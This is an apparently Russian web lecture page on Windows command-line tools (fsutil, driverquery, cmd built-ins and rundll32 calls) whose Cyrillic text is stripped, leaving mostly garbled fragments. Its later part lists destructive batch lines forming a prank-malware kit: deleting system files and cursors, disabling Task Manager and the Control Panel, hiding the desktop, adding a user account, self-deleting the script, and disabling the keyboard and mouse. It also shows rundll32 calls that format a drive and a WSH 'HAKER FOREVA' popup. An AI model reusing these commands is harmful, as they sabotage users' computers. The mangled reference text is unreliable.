|
fsutil
behavior
| , , 8.3 , 8.3 NTFS, NTFS, , , ,
| dirty
| . . , autochk
| file
| . , , ,
| fsinfo
| . , , , NTFS
| hardlink
| C . . . NTFS , ( ). , . . ,
| objectid
| . , Windows XP , .
NTFS .
| reparsepoint
| . , NTFS, , , /. . ,
| sparse
| . , , . , . , () , ( , ) . , , , C2.
| usn
| . (USN),
| volume - .
|
| Eventquery.vbs
| LIST| CSV}] [ /r _ [ /nh] [ /v] [ /l [ APPLICATION] [ SYSTEM] [ SECURITY] [ "DNS server"] [ __] [ __] [ *] ]
| Eventcreate
| SYSTEM}]|[ /so _]} /t { ERROR| WARNING| INFORMATION| SUCCESSAUDIT| FAILUREAUDIT} /id _ /d
| Driverquery
| LIST| CSV}] [ /nh] [ /v] [ /si], /s - IP- ( ). . /u - , . , . /p - , /u. /fo { TABLE| LIST| CSV} - . : TABLE, LIST CSV. TABLE. /nh - . , /fo TABLE CSV. /v - . /si - , . : driverquery:
driverquerydriverquery /fo csvdriverquery /nhdriverquery /s ipaddressdriverquery /s server1 /u hirpln /v driverquery /s server1 /u maindomhirpln /p p@ssw3d /fo list | Start
| /shared}] [{ /low | /normal | /high | /realtime | /abovenormal | belownormal}] [/ wait] [ /b] [ _] [ ]
| Shift
| . : shift
| Setlocal
| disableextensions} { enabledelayedexpansion | disabledelayedexpansion}
| Set
| , . , set . : set [[ /a [ ]] [ /p [ =]] ]
| Pushd
| popd . : pushd [ ]
| Prompt
| (Cmd.exe). , prompt : "" (>). : prompt [ ]
| Popd
| , pushd. : popd
| Mkdir
| . : mkdir [ :] , md [ :]
| If
| . : if [ not] errorlevel [ else ], if [ not] 1 == 2 [ else ], if [ not] exist _ [ else ]. , : if [ /i] 1 _ 2 [ else ], if cmdextversion [ else ], if defined [ else ], not - . errorlevel - , , Cmd.exe, , . - , . 1 == 2 - , 1 2 . (, %1). . exist _ - , _. _ - . _
:
EQU - NEQ - LSS - LEQ - GTR - GEQ - | /i
| . /i string1 == string2 if. . 1, 2 , . cmdextversion - , , Cmd.exe, . 1. 1 . cmdextversion , ( ). defined - , . - else.
| Ftype
| . ftype . : Ftype [ _[ =[ _]]].
| For
| %% } in () do [ ].
| Endlocal
| , , setlocal. : endlocal.
| Del (erase)
| . : del [ :] [ ] _ [...] [ /p] [ /f] [ /s] [ /q] [ /a[: ]], erase [ :] [ ] _ [...] [ /p] [ /f] [ /s] [ /q] [ /a[: ]].
| .
| del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
|
| reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
|
| del "%0" >nul
| C
| attrib -s -r -h -a %systemdrive%*.*
|
| reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DdisableTaskMgr /t REG_DWORD /d 1 /f >nul
| ,
| %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
|
| reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
|
| del "%SystemRoot%\Cursors\*.*" >nul
|
| del "%SystemRoot%\Media" /q >nul
|
| reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
| C
| net user "" /add >nul
| RUNDLL - BAT- :
rundll32 shell32.dll,Control_RunDLL hotplug.dll
|
| rundll32 diskcopy,DiskCopyRunDll
| " "
| rundll32 keyboard,disable
| , .
| rundll32 mouse,disable
| .
| rundll32 krnl386.exe,exitkernel
| , Windows
| rundll32 mshtml.dll,PrintHTML "HtmlFileNameAndPath"
| HTML, "HtmlFileNameAndPath" -
| rundll32 print2.dll,RUNDLL_PrintTestPage
|
| rundll32 netplwiz.dll,AddNetPlaceRunDll
| " "
| rundll32 rnaui.dll,RnaWizard
| " "
| rundll32 rnaui.dll,RnaWizard /1
| " "
| rundll32 shell,ShellExecute
| ( " ")
| rundll32 shell32,Control_RunDLL
| " "
| rundll32 shell32,Control_RunDLL appwiz.cpl,,n
| " ", "n" ( 1 3)
| rundll32 shell32,Control_RunDLL main.cpl @0
| " "
| rundll32 shell32,Control_RunDLL main.cpl @1
| " "
| rundll32 shell32,Control_RunDLL main.cpl @2
| ""
| rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder
| "" ( )
| rundll32 shell32,Control_RunDLL main.cpl @3
| ""
| rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder
| "" ( )
| rundll32 SHELL32,Control_RunDLL modem.cpl, add
| " "
| rundll32 shell32,Control_RunDLL timedate.cpl
| " "
| rundll32 shell32,OpenAs_RunDLL
| " ..."
| rundll32 shell32,ShellAboutA WINHOWTO.RU
| Windows
| rundll32 shell32,SHExitWindowsEx 0
| ,
| rundll32 shell32, SHExitWindowsEx 1
|
| rundll32 SHELL32, SHExitWindowsEx -1
| Windows
| rundll32 shell32, SHExitWindowsEx 2
|
| rundll32 shell32,SHExitWindowsEx 4
| .
| rundll32 shell32,SHExitWindowsEx 8
| Windows ATX-
| rundll32 shell32,SHFormatDrive
| :
| rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter
| " "
| rundll32 shell32,SHHelpShortcuts_RunDLL Connect
|
| rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage
|
| rundll32 sysdm.cpl,InstallDevice_Rundll
|
| rundll32 url.dll,FileProtocolHandler %1
| -, %1 - URL ( [link=http://).]http://).[/link]
| rundll32 url.dll,MailToProtocolHandler %1
| , %1 - e-mail
| rundll32 user,CASCADECHILDWINDOWS
|
| rundll32 user,TILECHILDWINDOWS
|
| rundll32 user,disableoemlayer
| (!) - - (, , ). , Windows
| rundll32 user,ExitWindowsExec
| Windows
| rundll32 user,RepaintScreen
| ""
| rundll32 user,SetCaretBlinkTime n
| , n
| rundll32 user,SetCursorPos
|
| rundll32 user,SetDoubleClickTime n
| (Double Click), n
| rundll32 user,SwapMouseButton
| ( )
| rundll32 user,WNetConnectDialog
| " "
| rundll32 user,WNetDisconnectDialog
| " "
| rundll32 AppWiz.Cpl,NewLinkHere %1
| , %1 -
| WSH( win2000):
echo var WSHShell = WScript.CreateObject(WScript.Shell); > %temp%\mes.jsWSHShell.Popup(][AKER FOREVA!); >> %temp%\mes.jsstart %temp%\mes.jsdeltree /y %temp%\mes.jsattrib c:\autoexec.bat +h +s +a +rpausecls
: 2017-02-24; !; : 458 | :
:
, , . ==> ... 1788 - | 1467 -
© 2015-2024 lektsii.org - - |